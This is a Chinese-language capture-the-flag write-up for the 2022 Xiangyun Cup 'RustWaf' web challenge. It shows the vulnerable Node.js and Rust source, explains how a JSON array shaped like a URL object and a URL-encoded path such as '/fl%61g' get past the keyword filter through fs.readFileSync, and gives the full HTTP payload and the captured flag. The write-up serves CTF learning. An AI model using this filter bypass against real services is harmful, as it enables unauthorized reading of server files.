祥云杯初赛-2022-WP
Created At :
Views 👀 :
Web
RustWaf
题目给出源码
app.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| const express = require('express'); const app = express(); const bodyParser = require("body-parser") const fs = require("fs") app.use(bodyParser.text({ type: '*/*' })); const { execFileSync } = require('child_process'); app.post('/readfile', function(req, res) { let body = req.body.toString(); let file_to_read = "app.js"; const file = execFileSync('/app/rust-waf', [body], { encoding: 'utf-8' }).trim(); try { file_to_read = JSON.parse(file) } catch (e) { file_to_read = file } let data = fs.readFileSync(file_to_read); res.send(data.toString()); }); app.get('/', function(req, res) { res.send('see `/src`'); }); app.get('/src', function(req, res) { var data = fs.readFileSync('app.js'); res.send(data.toString()); }); app.listen(3000, function() { console.log('start listening on port 3000'); });
|
main.rs
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| use std::env; use serde::{Deserialize, Serialize}; use serde_json::Value;
static BLACK_PROPERTY: &str = "protocol";
#[derive(Debug, Serialize, Deserialize)] struct File{ #[serde(default = "default_protocol")] pub protocol: String, pub href: String, pub origin: String, pub pathname: String, pub hostname:String }
pub fn default_protocol() -> String { "http".to_string() }
pub fn waf(body: &str) -> String { if body.to_lowercase().contains("flag") || body.to_lowercase().contains("proc"){ return String::from("./main.rs"); } if let Ok(json_body) = serde_json::from_str::<Value>(body) { if let Some(json_body_obj) = json_body.as_object() { if json_body_obj.keys().any(|key| key == BLACK_PROPERTY) { return String::from("./main.rs"); } } if let Ok(file) = serde_json::from_str::<File>(body) { return serde_json::to_string(&file).unwrap_or(String::from("./main.rs")); } } else{ return String::from(body); } return String::from("./main.rs"); }
fn main() { let args: Vec<String> = env::args().collect(); println!("{}", waf(&args[1])); }
|
提供了一个文件读取功能,我们可以直接传输字符串也可以传json数据,传进去的内容会在main.rs中进行检查,如果罕有flag或者proc字符串就无法读取文件,对于满足条件的字符串会直接返回给app.js继续进行读取,而不含关键字的JSON数据将会进行解析,只有成功解析为File结构体时才会调用to_string函数输出返回给app.js进行下一步处理。
这里我们可以注意到,nodejs中的文件系统库fs中的readFileSync函数接受URL类的输入,而URL类的属性含有如下属性:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| const url=new URL("http://jututu.top"); console.log(url.protocol); console.log(url.href); console.log(url.origin); console.log(url.pathname); console.log(url.hostname);
|
这些属性与main.rs中的结构体File是一致的。同时,我们可以注意到,to_string操作其实输出的也是一串JSON数据:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| use std::fs; use serde_json; use serde::{Deserialize, Serialize};
#[derive(Debug, Serialize, Deserialize)] struct File{ pub protocol: String, pub href: String, pub origin: String, pub pathname: String, pub hostname:String } fn main() { let file=File{ protocol:"http", href:"http://jututu.top/", origin:"http://jututu.top", pathname:"/", hostname:"jututu.top" }; let sdata = serde_json::to_string(&file); let sdata = sdata.unwrap(); println!("{}", sdata); }
|
而这一串JSON数据刚好能被app.js中的JSON.parse函数解析为URL对象,因此我们只需要按照格式输入结构体数据main.rs就会自动帮我们解析得到JSON数据从而被解析为URL对象。
而重点就在这里,readFileSync对输入的url会进行url解码(参考:https://brycec.me/posts/corctf_2022_challenges#simplewaf ),因此这里可以用url解码来绕过,将flag
进行url编码或者部分url编码即可。
最终payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| POST /readfile HTTP/1.1 Host: eci-2ze0xya70kbo4gq728da.cloudeci1.ichunqiu.com:3000 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/json Content-Length: 56
["file:", "file:///fl%61g", "null", "/fl%61g", "" ]
|
flag{88f45655-1050-4b00-a577-01fad53a9202}
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 hututu1024@126.com